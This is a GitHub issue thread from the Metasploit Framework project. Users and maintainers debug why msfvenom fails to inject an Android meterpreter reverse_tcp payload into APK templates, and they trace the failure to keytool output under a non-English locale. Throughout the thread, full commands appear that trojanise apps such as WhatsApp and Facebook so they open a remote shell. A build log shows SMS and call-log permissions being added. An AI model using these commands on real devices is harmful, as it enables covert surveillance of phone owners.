rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.78k stars 13.9k forks source link

Error with msfvenom on Kali Linux #7524

Closed ghost closed 7 years ago

ghost commented 7 years ago

Hello,

I'm trying to do "msfvenom -x test.apk -p android/meterpreter/reverse_tcp LHOST=my.ip LPORT=myport -o hack.apk

And I get this outpout, with the error at the end : " No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload Error: undefined method `[]' for nil:NilClass "

"uname -a" output : "_4.7.0-kali1-amd64 ... SMP Debian 4.7.6-1kali1 (2016-10-17) x8664 GNU/Linux" "msfconsole -v" output : "Framework Version: 4.12.40-dev"

Thanks in advance

wchen-r7 commented 7 years ago

What happens if you generate it without the -x flag on Kali?

exploitagency commented 7 years ago

---Edit to specify it works on Kali's DEFAULT provided package and reload_all command.--- I can't give any input to this because it works on Kali's DEFAULT package. I am using the older .39 vs .40. I'm also assuming you manually updated metasploit(need to use a non root user I think) or are you using bleeding edge repo? Also what happens if you try a different APK as the template? You can always downgrade if you don't find a solution using

rm /etc/apt/sources.list.d/metasploit-framework.list apt-get update apt-get remove metasploit-framework apt-get install metasploit-framework apt-get install armitage (it removes this too I think)

So on my install I get: msfconsole -v Framework Version: 4.12.39-dev uname -a 4.7.0-kali1-amd64 #1 SMP Debian 4.7.6-1kali1 (2016-10-17) x86_64 GNU/Linux

On a fresh kali install you need to apt-get update apt-get upgrade apt-get dist-upgrade apt-get install zipalign msfupdate

msfvenom -x template.apk -p android/meterpreter/reverse_tcp LHOST=IPHERE LPORT=PORTHERE -o hack.apk

or more specific msfvenom --platform android --arch dalvik -x template.apk -p android/meterpreter/reverse_tcp LHOST=IPHERE LPORT=PORTHERE -o hack.apk

I just always drop custom modules or whatever into /root/.msf4/appropriatefolder and it finds them automatically on startup or if metasploit is running type "reload_all" into the console.

ghost commented 7 years ago

@wchen-r7 when I try without the -x it works (i'd like to try with the -x to combine the payload with an other apk like facebook for eg.)

@exploitagency i'll try your solution

wchen-r7 commented 7 years ago

ok thanks.

ghost commented 7 years ago

Edit : @exploitagency I tried your solution too but the problem at the end is still the same...

If it works with other, maybe i've not something necessary to make it work but i don't know what..

exploitagency commented 7 years ago

I also always install these packages for other projects, but the error you have looks like a real coding error.... what have you manually installed or updated? Kali breaks easily when you don't use their repo's. Did you get the same error when you downgraded and tried it? Try it with several different apk. Android switched to ART from Dalvik. Maybe its related to that. I tested it with first apk i found on google, whats app or something like that.

sudo apt-get install build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev libqt4-dev ncurses-dev perl pkg-config

I know zipalign is required. You have that package right? Though error on that should just say its not installed...

ghost commented 7 years ago

@exploitagency here for you, thanks in advance

what have you manually installed or updated?

► If I remember well, the JDK is the last from java. APKTool from their website. I'd install the msf from website and removed it with early coment. Else i didn't see what I've installed out of repo's..

Try it with several different apk. [...] I tested it with first apk i found on google, whats app or something like that.

► I tried with all last apk from Facebook, whatsapp, Chrome and Google Messenger (All downloaded from apkmirror) every time same problem

sudo apt-get install build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev libqt4-dev ncurses-dev perl pkg-config

► Done but still the same problem

I know zipalign is required. You have that package right? Though error on that should just say its not installed...

► Yes i had an error first time, so i've installed it after

exploitagency commented 7 years ago

I didn't think those packages were it, but I just remembered, I have run the "gem update" command. I haven't manually installed APKTool or the JDK. I know I'm not much help, just a Kali user who the command works for. I'll test in a fresh virtual machine eventually if I ever get a chance. Don't want to mess with my base OS too much.

ghost commented 7 years ago

I have run the "gem update" command.

I've run it too, i saw an error about sqlite3

I haven't manually installed APKTool or the JDK.

I'd install the JDK for android studio and apktool because i'd problems by trying to rebuild apps by hand

Thanks, i'll try too on a VM and if it works there i'll must reinstall a fresh kali...

--- EDIT ---

@exploitagency i've tried on a kali live in a VM and everything worked fine, without to update anything ... I'll reinstall a fresh kali on my computer and enjoy it

It didn't come from the metasploit-framework, so i'll close the issue Maybe from the apktool i think, but never mind

Thanks for all !

exploitagency commented 7 years ago

:-)

Edit to add: :-(

ghost commented 7 years ago

Hello back guys,

I've installed back a fresh Kali Linux on my computer, everything is okay but when i launch the msfvenom command again, i get the same error... I have just installed zipalign with apt-get nothing else On the live that i've tried before, everything worked great... but i'd not to install zipalign

How can a live better work, or contain more things than a hard install ?

Thanks

exploitagency commented 7 years ago

EDIT: Run the commands below before installing kali-linux-full package and maybe we can figure out the offending package.

apt-get update apt-get upgrade apt-get dist-upgrade apt --installed list>>packages.txt

Then install all packages if you want to try that.

sudo apt-get install kali-linux-full

EDIT: Send me the text file and I will run a "diff packages.txt mypackages.txt" and figure out what I have differently. Click my user name and get my email address from profile. This way we can find the package without having to tell someone to install all the kali packages to fix the issue(if that does fix it). /* If you contact me privately somehow then I can share a list of my manually installed packages

cat /var/log/apt/history.log | grep 'apt-get install' zcat /var/log/apt/history.log.*.gz | grep 'apt-get install'

*/

This version of metasploit works for me(recently updated in Kali packages) msfconsole --version: Framework Version: 4.12.40-dev

msfvenom -x template.apk -p android/meterpreter/reverse_tcp LHOST=111.222.333.444 LPORT=4444 -o hack.apk

I also did

apt-get update apt-get upgrade apt-get dist-upgrade

And the other way around(everything I am missing) comerr-dev/kali-rolling,now 2.1-1.43.3-1 amd64 < efibootmgr/kali-rolling,now 14-1 amd64 < krb5-multidev/kali-rolling,now 1.14.3+dfsg-2 amd64 < libefiboot1/kali-rolling,now 30-1 amd64 < libefivar1/kali-rolling,now 30-1 amd64 < libgssrpc4/kali-rolling,now 1.14.3+dfsg-2 amd64 < libkadm5clnt-mit10/kali-rolling,now 1.14.3+dfsg-2 amd64 < libkadm5srv-mit10/kali-rolling,now 1.14.3+dfsg-2 amd64 < libkdb5-8/kali-rolling,now 1.14.3+dfsg-2 amd64 < libmysqlclient-dev/kali-rolling,now 5.6.30-1 amd64 < libpq-dev/kali-rolling,now 9.6.0-1 amd64 < libsqlite3-dev/kali-rolling,now 3.15.0-1 amd64 < libssl-dev/kali-rolling,now 1.0.2j-1 amd64 < libssl-doc/kali-rolling,now 1.0.2j-1 all < libtcltk-ruby/kali-rolling,now 1:2.3.0+4 all < libzopfli1/kali-rolling,now 1.0.1+git160119-1 amd64 < postgresql-server-dev-9.6/kali-rolling,now 9.6.0-1 amd64 < ri/kali-rolling,now 1:2.3.0+4 all < ruby-full/kali-rolling,now 1:2.3.0+4 all < ruby2.3-doc/kali-rolling,now 2.3.1-5 all < ruby2.3-tcltk/kali-rolling,now 2.3.1-5+b1 amd64 < zipalign/kali-rolling,now 1:6.0.1+r55-3 amd64 < zlib1g-dev/kali-rolling,now 1:1.2.8.dfsg-2+b3 amd64 <

ghost commented 7 years ago

@exploitagency I sent you the files of all outputs on your email address

I tried again on a Kali Live non updated, I got this working :

msfvenom -x whatsapp.apk -p android/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=1234 -o whatsapp_hack.apk

On the live :

But with a last updated kali I can't get it working ..

On my Kali :

I'd an other question, could the UEFI installation change something, because on my computer I've an UEFI install on a SSD. Did the other be better ?

Thanks

exploitagency commented 7 years ago

Its a long shot as to if its the issue but I noticed your locale setting is different judging by the output of your files you sent. Is the live cd your using default to en_US.UTF-8?

I am using a LUKS LVM install on an SSD but HDD details shouldn't make a difference I don't think.

My output on a hdd install: locale

LANG=en_US.UTF-8 LANGUAGE= LC_CTYPE="en_US.UTF-8" LC_NUMERIC="en_US.UTF-8" LC_TIME="en_US.UTF-8" LC_COLLATE="en_US.UTF-8" LC_MONETARY="en_US.UTF-8" LC_MESSAGES="en_US.UTF-8" LC_PAPER="en_US.UTF-8" LC_NAME="en_US.UTF-8" LC_ADDRESS="en_US.UTF-8" LC_TELEPHONE="en_US.UTF-8" LC_MEASUREMENT="en_US.UTF-8" LC_IDENTIFICATION="en_US.UTF-8" LC_ALL=

ruby -v

ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu]

apktool -version

2.2.1-dirty

uname -a

4.8.0-kali1-amd64 #1 SMP Debian 4.8.5-1kali1 (2016-11-04) x86_64 GNU/Linux

java -version

openjdk version "1.8.0_111" OpenJDK Runtime Environment (build 1.8.0_111-8u111-b14-2-b14) OpenJDK 64-Bit Server VM (build 25.111-b14, mixed mode)

msfconsole -v

Framework Version: 4.12.40-dev


The Kali 2016.2 VirtualBox VM Appliance works with the command out of the box no updates or even installing zipalign. There is a lot more differences from live and virtual vs a clean install to hdd than I realized.

msfvenom -x whatsapp.apk -p android/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=1234 -o whatsapp_hack.apk

Using APK template: whatsapp.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload [] Decompiling original APK.. [] Decompiling payload APK.. [] Locating hook point.. [] Copying payload files.. [] Loading /tmp/d20161110-1485-m05sdg/original/smali/com/whatsapp/Main.smali and injecting payload.. [] Poisoning the manifest with meterpreter permissions.. [_] Adding android.permission.ACCESS_COURSELOCATION [] Adding android.permission.CALLPHONE [] Adding android.permission.READSMS [] Adding android.permission.SETWALLPAPER [] Adding android.permission.READ_CALLLOG [] Adding android.permission.WRITE_CALLLOG [] Rebuilding whatsapp.apk with meterpreter injection as /tmp/d20161110-1485-m05sdg/output.apk [_] Signing /tmp/d20161110-1485-m05sdg/output.apk Payload size: 33954028 bytes Saved as: whatsapp_hack.apk

ruby -v

ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu]

apktool -version

2.2.0-dirty

uname -a

Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

java -version

openjdk version "1.8.0_102" OpenJDK Runtime Environment (build 1.8.0_102-8u102-b14.1-2-b14) OpenJDK 64-Bit Server VM (build 25.102-b14, mixed mode)

msfconsole -v

Framework Version: 4.12.23-dev


Output of: sdiff yourpackages.txt mypackages.txt -s|grep ">">compare.txt Basically this is all the packages I have that you don't.(if I didn't mess the process up) This is on a brand new 2016.2 VirtualBox Virtual Appliance that was upgrade/dist-upgrade today. Nothing additional installed or changed besides the upgrade process.

                              > cpp-5/kali-rolling,now 5.4.1-3 amd64
                              > dkms/kali-rolling,now 2.3-1 all
                              > firebird2.5-common/now 2.5.6.27020.ds4-1 all [installed,local
                              > firebird2.5-common-doc/now 2.5.6.27020.ds4-1 all [installed,l
                              > gcc-5/kali-rolling,now 5.4.1-3 amd64
                              > gdebi-core/kali-rolling,now 0.9.5.7 all [installed,auto-remov
                              > gnome-packagekit/kali-rolling,now 3.20.0-1 amd64 [installed,a
                              > gnome-packagekit-data/kali-rolling,now 3.20.0-1 all [installe
                              > imagemagick-common/kali-rolling,now 8:6.9.6.2+dfsg-2 all [ins
                              > libcamel-1.2-57/now 3.20.5-1 amd64 [installed,local]
                              > libcrypto++6/kali-rolling,now 5.6.4-3 amd64 [installed,auto-r
                              > libedataserver-1.2-21/now 3.20.5-1 amd64 [installed,local]
                              > libgeos-3.5.0/now 3.5.0-4 amd64 [installed,local]
                              > libglew1.13/now 1.13.0-2 amd64 [installed,local]
                              > liblouis10/now 2.6.5-1 amd64 [installed,local]
                              > libnotify-bin/kali-rolling,now 0.7.7-1 amd64
                              > libperl5.22/now 5.22.2-3 amd64 [installed,local]
                              > libradare2-0.9.9/now 0.9.9-0kali1+b1 amd64 [installed,local]
                              > libvpx3/now 1.5.0-4 amd64 [installed,local]
                              > libx265-87/now 2.0-4 amd64 [installed,local]
                              > linux-headers-4.6.0-kali1-amd64/now 4.6.4-1kali1 amd64 [insta
                              > linux-headers-4.6.0-kali1-common/now 4.6.4-1kali1 amd64 [inst
                              > linux-headers-4.8.0-kali1-amd64/kali-rolling,now 4.8.5-1kali1
                              > linux-headers-4.8.0-kali1-common/kali-rolling,now 4.8.5-1kali
                              > linux-headers-amd64/kali-rolling,now 4.8+76+kali1 amd64
                              > linux-image-4.6.0-kali1-amd64/now 4.6.4-1kali1 amd64 [install
                              > linux-kbuild-4.6/now 4.6.4-1kali1 amd64 [installed,local]
                              > linux-kbuild-4.8/kali-rolling,now 4.8.5-1kali1 amd64
                              > python-pycryptopp/kali-rolling,now 0.6.0.20120313-1+b2 amd64 
                              > virtualbox-guest-dkms/kali-rolling,now 5.1.8-dfsg-6 all
                              > virtualbox-guest-utils/kali-rolling,now 5.1.8-dfsg-6 amd64
                              > virtualbox-guest-x11/kali-rolling,now 5.1.8-dfsg-6 amd64

You can try the using english locale ( en_US.UTF-8 ) then you can try to weed through those packages and see if anything looks relevant.

I don't think I can be much help beyond this. One of the r7 guys might need to chime back in after this.

For consistency everything you have that I don't(EFI makes the list)

comerr-dev/kali-rolling,now 2.1-1.43.3-1 amd64 < efibootmgr/kali-rolling,now 14-1 amd64 < krb5-multidev/kali-rolling,now 1.14.3+dfsg-2 amd64 < libefiboot1/kali-rolling,now 30-1 amd64 < libefivar1/kali-rolling,now 30-1 amd64 < libgssrpc4/kali-rolling,now 1.14.3+dfsg-2 amd64 < libkadm5clnt-mit10/kali-rolling,now 1.14.3+dfsg-2 amd64 < libkadm5srv-mit10/kali-rolling,now 1.14.3+dfsg-2 amd64 < libkdb5-8/kali-rolling,now 1.14.3+dfsg-2 amd64 < libmysqlclient-dev/kali-rolling,now 5.6.30-1 amd64 < libpq-dev/kali-rolling,now 9.6.0-1 amd64 < libsqlite3-dev/kali-rolling,now 3.15.0-1 amd64 < libssl-dev/kali-rolling,now 1.0.2j-1 amd64 < libssl-doc/kali-rolling,now 1.0.2j-1 all < libtcltk-ruby/kali-rolling,now 1:2.3.0+4 all < libzopfli1/kali-rolling,now 1.0.1+git160119-1 amd64 < postgresql-server-dev-9.6/kali-rolling,now 9.6.0-1 amd64 < ri/kali-rolling,now 1:2.3.0+4 all < ruby-full/kali-rolling,now 1:2.3.0+4 all < ruby2.3-doc/kali-rolling,now 2.3.1-5 all < ruby2.3-tcltk/kali-rolling,now 2.3.1-5+b1 amd64 < zipalign/kali-rolling,now 1:6.0.1+r55-3 amd64 < zlib1g-dev/kali-rolling,now 1:1.2.8.dfsg-2+b3 amd64 <

And

grub-efi-amd64/kali-rolling,now 2.02~beta3-1 amd64 | grub-pc/kali-rolling,now 2.02~beta3-1 amd64 grub-efi-amd64-bin/kali-rolling,now 2.02~beta3-1 amd64 | grub-pc-bin/kali-rolling,now 2.02~beta3-1 amd64

dana-at-cp commented 7 years ago

@keviiin38 On your Kali system can you run the following on any APK file and share the output?

$ keytool -printcert -jarfile <APK_FILE>
ghost commented 7 years ago

@dana-at-cp The output of the command (i.e for WhatsApp)

Signataire n°1: Signature : Propriétaire : CN=Brian Acton, OU=Engineering, O=WhatsApp Inc., L=Santa Clara, ST=California, C=US Emetteur : CN=Brian Acton, OU=Engineering, O=WhatsApp Inc., L=Santa Clara, ST=California, C=US Numéro de série : 4c2536a4 Valide du : Sat Jun 26 01:07:16 CEST 2010 au : Tue Feb 16 00:07:16 CET 2044 Empreintes du certificat : MD5: 55:6C:60:19:24:9B:BC:0C:AB:70:49:51:78:D3:A9:D1 SHA1 : 38:A0:F7:D5:05:FE:18:FE:C6:4F:BF:34:3E:CA:AA:F3:10:DB:D7:99 SHA256 : 39:87:D0:43:D1:0A:EF:AF:5A:87:10:B3:67:14:18:FE:57:E0:E1:9B:65:3C:9D:F8:25:58:FE:B5:FF:CE:5D:44 Nom de l'algorithme de signature : SHA1withDSA Version : 3

@exploitagency Yes I'm using fr_FR.UTF-8 and the live was in en_US.UTF-8. I could try to use an fresh US install, it should not be a problem for translation.7 The only wath i need is the keyboard to be in French for the AZERTY disposition

I'm using too LUKS LVM on an SSD, but when i've booted on the USB stick for installation i got "USB 3.0 ..." and "UEFI: USB 3.0 ..." i choose the UEFI one and during the installation they asked me if I want to continue with UEFI install, i choose Yes. I don't know if this could change something, is it better with or without UEFI ?

Everything seems the same in the versions

I see, in the live if i didn't update anything, i didn't need zipalign to make it work, if i update the msf i get the zipalign error

I'll try an other fresh install : Luks LVM on SSD without UEFI and in FULL en.US.UTF-8 full updated and upraded and see if something change

Thanks for your help guys

ghost commented 7 years ago

EDIT :

I GOT IT WORKING !

Working great on my new install !

Working perfectly !

_Conclusion : for French people (and maybe other) use the enUS.UTF-8 Locale !

Thanks a lot to you guys !

And particularly to you @exploitagency for your hard work to find an answer to the problem and all of your useful tips !

exploitagency commented 7 years ago

:-) Good deal!

dana-at-cp commented 7 years ago

@keviiin38 Thanks for sharing the keytool output. Can you reopen this issue? It is still a bug that needs to be tracked and fixed.

Rapid7 folks, the problem is with this function in lib/msf/core/payload/apk.rb:

def parse_orig_cert_data(orig_apkfile)
    orig_cert_data = Array[]
    keytool_output = run_cmd("keytool -printcert -jarfile #{orig_apkfile}")
    owner_line = keytool_output.match(/^Owner:.+/)[0]
    orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
    orig_cert_data.push("#{orig_cert_dname}")
    valid_from_line = keytool_output.match(/^Valid from:.+/)[0]
    from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
    to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
    from_date = DateTime.parse("#{from_date_str}")
    orig_cert_data.push(from_date.strftime("%Y/%m/%d %T"))
    to_date = DateTime.parse("#{to_date_str}")
    validity = (to_date - from_date).to_i
    orig_cert_data.push("#{validity}")
    return orig_cert_data
  end

The function breaks when keytool is used on a system with non-English locale.

I introduced this issue in #7451 and will start working on a fix.

bcook-r7 commented 7 years ago

Awesome, thanks for the great debugging effort @dana-at-cp. Sounds like normalizing the locale in run_cmd would be the best approach.

dana-at-cp commented 7 years ago

@bcook-r7 I'm going to try this:

keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")

Supposedly, this is the supported way to force the JDK tools to use a specific language for a single use.

Pull request inbound.

exploitagency commented 7 years ago

I found another bug kind of related to this. Template file name can not contain certain characters such as parenthesis.

msfvenom -x "template(1).apk" -p android/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=4444 -o hack.apk

Using APK template: template(1).apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload Error: undefined method `[]' for nil:NilClass

msfvenom -x template1.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=4444 -o hack.apk

Using APK template: template1.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [*] Decompiling payload APK.. ETC and works

A lot of APK download sites have parenthesis in the file name.

timwr commented 7 years ago

Many thanks guys for debugging and fixing this!

@exploitagency I can't actually reproduce the issue with parenthesis.

msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o out.apk -x "template(1).apk" 
./msfvenom -x "template(1).apk" -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o out.apk
Using APK template: template(1).apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
...
exploitagency commented 7 years ago

I don't know, fails every time for me when using those characters... just tried in a new Kali VM(fully updated though). I was just throwing it out there, . The tools works great for me otherwise. I only tested this bug with a few apk. One being speed test by ookla.

root@kali:/opt/metasploit-framework# ./msfconsole -vFramework Version: 4.12.42-dev-f50e609 root@kali:/opt/metasploit-framework# ./msfvenom -x "s(1).apk" -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o out.apk Using APK template: s(1).apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload Error: undefined method `[]' for nil:NilClass root@kali:/opt/metasploit-framework# mv "s(1).apk" s.apk root@kali:/opt/metasploit-framework# ./msfvenom -x "s.apk" -p android/meterpreter/reversetcp LHOST=127.0.0.1 LPORT=4444 -o out.apk Using APK template: s.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [] Decompiling payload APK.. [_] Locating hook point.. [*] Adding payload as package org.zwanoo.android.speedtest

jojodipa1 commented 7 years ago

hey guys pls any help ! i got this prb ... in the first the payload was 9932 bytes size and it was working but now after the size changed to 8782 i got erreur and i cant exploit it so wts the prb pls and thank u .... msfvenom -p android/meterpreter/reverse_tcp lhost=x.x.x.xlport=xx.. R > /root/Desktop/123456789.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload No encoder or badchars specified, outputting raw payload Payload size: 8782 bytes

R3dH4t2003 commented 7 years ago

Hey chicos pls cualquier ayuda! Tengo este prb ... en la primera la carga era de 9932 bytes de tamaño y que estaba trabajando, pero ahora después de que el tamaño cambiado a 8782 i got erreur y no puedo explotarlo tan wts los pls prb y gracias u .... msfvenom - P android / meterpreter / reverse_tcp lhost = xxxxlport = xx .. R> /root/Desktop/123456789.apk No se ha seleccionado ninguna plataforma, eligiendo Msf :: Module :: Platform :: Android desde la carga Ningún arco seleccionado, seleccionando Arch: dalvik De la carga Ningún codificador o badchars especificado, outputting la carga útil cruda Tamaño de la carga útil: 8782 bytes

jojodipa1 commented 7 years ago

[-] Handler failed to bind to 105.105.102.235:443 [-] Handler failed to bind to 0.0.0.0:443 [-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:443). [*] Exploit completed, but no session was created.

2017-07-20 1:46 GMT-05:00 R3dH4t2003 notifications@github.com:

Hey chicos pls cualquier ayuda! Tengo este prb ... en la primera la carga era de 9932 bytes de tamaño y que estaba trabajando, pero ahora después de que el tamaño cambiado a 8782 i got erreur y no puedo explotarlo tan wts los pls prb y gracias u .... msfvenom - P android / meterpreter / reverse_tcp lhost = xxxxlport = xx .. R> /root/Desktop/123456789.apk No se ha seleccionado ninguna plataforma, eligiendo Msf :: Module :: Platform :: Android desde la carga Ningún arco seleccionado, seleccionando Arch: dalvik De la carga Ningún codificador o badchars especificado, outputting la carga útil cruda Tamaño de la carga útil: 8782 bytes

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/7524#issuecomment-316612324, or mute the thread https://github.com/notifications/unsubscribe-auth/AbMImF4elgMMpinG84ZnTZZDbEZHwRaJks5sPve6gaJpZM4KngOG .

jojodipa1 commented 7 years ago

so any help ! :/ [-] Handler failed to bind to x.x.x.x:443 [-] Handler failed to bind to 0.0.0.0:443 [-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:443). [*] Exploit completed, but no session was created.

h00die commented 7 years ago

it sounds like The address is already in use or unavailable. maybe try a netstat to determine whats running on that port and free it up? Or maybe change the bind handler to an unused port.

timwr commented 7 years ago

@jojodipa1 if you're running on Linux you won't be able to bind to a port < 1024 unless you run metasploit as root. Try a different port. Jump on #metasploit freenode irc if you need support, this issue has gone way off topic.